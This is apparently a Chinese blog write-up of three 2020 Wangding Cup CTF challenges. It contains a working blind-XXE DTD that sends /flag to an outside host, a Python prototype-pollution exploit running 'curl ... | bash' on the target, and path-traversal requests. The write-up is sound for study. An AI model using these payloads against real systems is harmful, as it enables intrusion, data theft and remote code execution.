2020网鼎杯-WriteUp

青龙组的题。老烂尾文章了,复盘一下。

Web

filejava

一道XXE的题目。
先看到个上传功能,传完可以下载。
在下载功能点存在任意文件下载漏洞。

当参数是个文件夹时还爆路径。

然后直接读web.xml文件。

利用任意下载漏洞把class文件都下载下来。

1
2
3
?filename=../../../classes/cn/abc/servlet/DownloadServlet.class
?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
?filename=../../../classes/cn/abc/servlet/UploadServlet.class

反编译class进行代码审计。
下载功能中有个检测,防止直接下载flag文件。

在上传功能中会用apache poi库对excel-开头格式的xlsx文件进行处理。

在报错处理里提示了poi库版本为3.10,爆了个CVE-2014-3529,存在XXE漏洞。
漏洞利用:
新建xlsx文件名字以excel-开头,用解压软件打开,在[Content_Types].xml文件引入一个dtd(这里盲打,需要将flag打回服务器)。

dtd内容:

1
2
3
4
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % getfile "<!ENTITY &#37; send SYSTEM 'http://frps:12020?f=%file;'>">
%getfile;
%send;

开http服务,nc监听,一气呵成,然后上传xlsx文件。

Notes

一道nodejs的原型链污染。
直接给了源码,这里贴一下关键点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');

class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

}

var notes = new Notes();

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

引了undefsafe模块。CVE-2019-10795爆的2.0.3以下低版本存在原型链污染漏洞。

先找模块引用点。

查看路由知道在edit_note中我们可以控制undefsafe的2,3参数,那么就可以触发原型链污染漏洞。
接下来就要查找利用点,在/status路由中有命令执行的地方,命令是预先定义好然后通过遍历逐个执行。for...in...会遍历原型链上的可枚举属性。那么我们可以通过污染字典原型来增加一个可控的可遍历属性,从而达到任意命令执行的目的。

攻击过程解析:
POST /edit_note路由传入id=__proto__.aaa&author={command}&raw=111
函数就会访问note_list字典的属性__proto__.aaa.author。因为aaa是不存在的属性,所以最后函数会将author参数的值赋给__proto__.author从而在字典原型中添加了一个author属性。每个实例使用for...in...都会遍历到这个属性。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests

class Exp:

def __init__(self, url, command):
self.url = url
self.command = command
self.pwn()

def edit_note(self, note_id, note_author, note_raw):
data = {
'id': note_id,
'author': note_author,
'raw': note_raw
}

try:
requests.post(self.url + '/edit_note', data=data)
print("[+] edit note success.")

except Exception as e:
print("[-] %s\n[-] edit note fail."%(e))

def pwn(self):
self.edit_note('__proto__.aaa', self.command, 'exp')
try:
requests.get(self.url + '/status')
print("[+] command executed.")

except Exception as e:
print("[-] %s\n[-] command execution fails."%(e))

def main():
url = "http://953895c7-9fbc-4bcd-8360-663f78b494c6.node3.buuoj.cn"
command = "curl frps:12021/script.sh | bash"
exp = Exp(url, command)

if __name__ == '__main__':
main()

Crypto

you_raise_me_up

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
import random

n = 2 ** 512
m = random.randint(2, n-1) | 1
c = pow(m, bytes_to_long(flag), n)
print 'm = ' + str(m)
print 'c = ' + str(c)

# m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
# c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499

看主要式子

1
c = m^flag % n

c, m, n已知。求flag,就是求解离散对数问题。
可以用小步大步BSGS算法去解,Pohlig-Hellman算法貌似要特殊情况,没试过。
直接拿一个ACM用的C的模板溢出了,用python来实现也溢出了。
后来学到了一个科学计算库sympy。
利用里面的discrete_log,可以自动选择算法计算。
贴个官方文档
https://docs.sympy.org/latest/modules/ntheory.html?highlight=discrete_log#sympy.ntheory.residue_ntheory.discrete_log

1
2
3
4
5
6
from sympy.ntheory import discrete_log

n = 2**512
m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
print(discrete_log(n,c,m))

跑出来解码一下就行了。

1
flag{5f95ca93-1594-762d-ed0b-a9139692cb4a}
文章作者: SNCKER
文章链接: https://sncker.github.io/blog/2020/09/25/2020-网鼎杯-WriteUp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 SNCKER's blog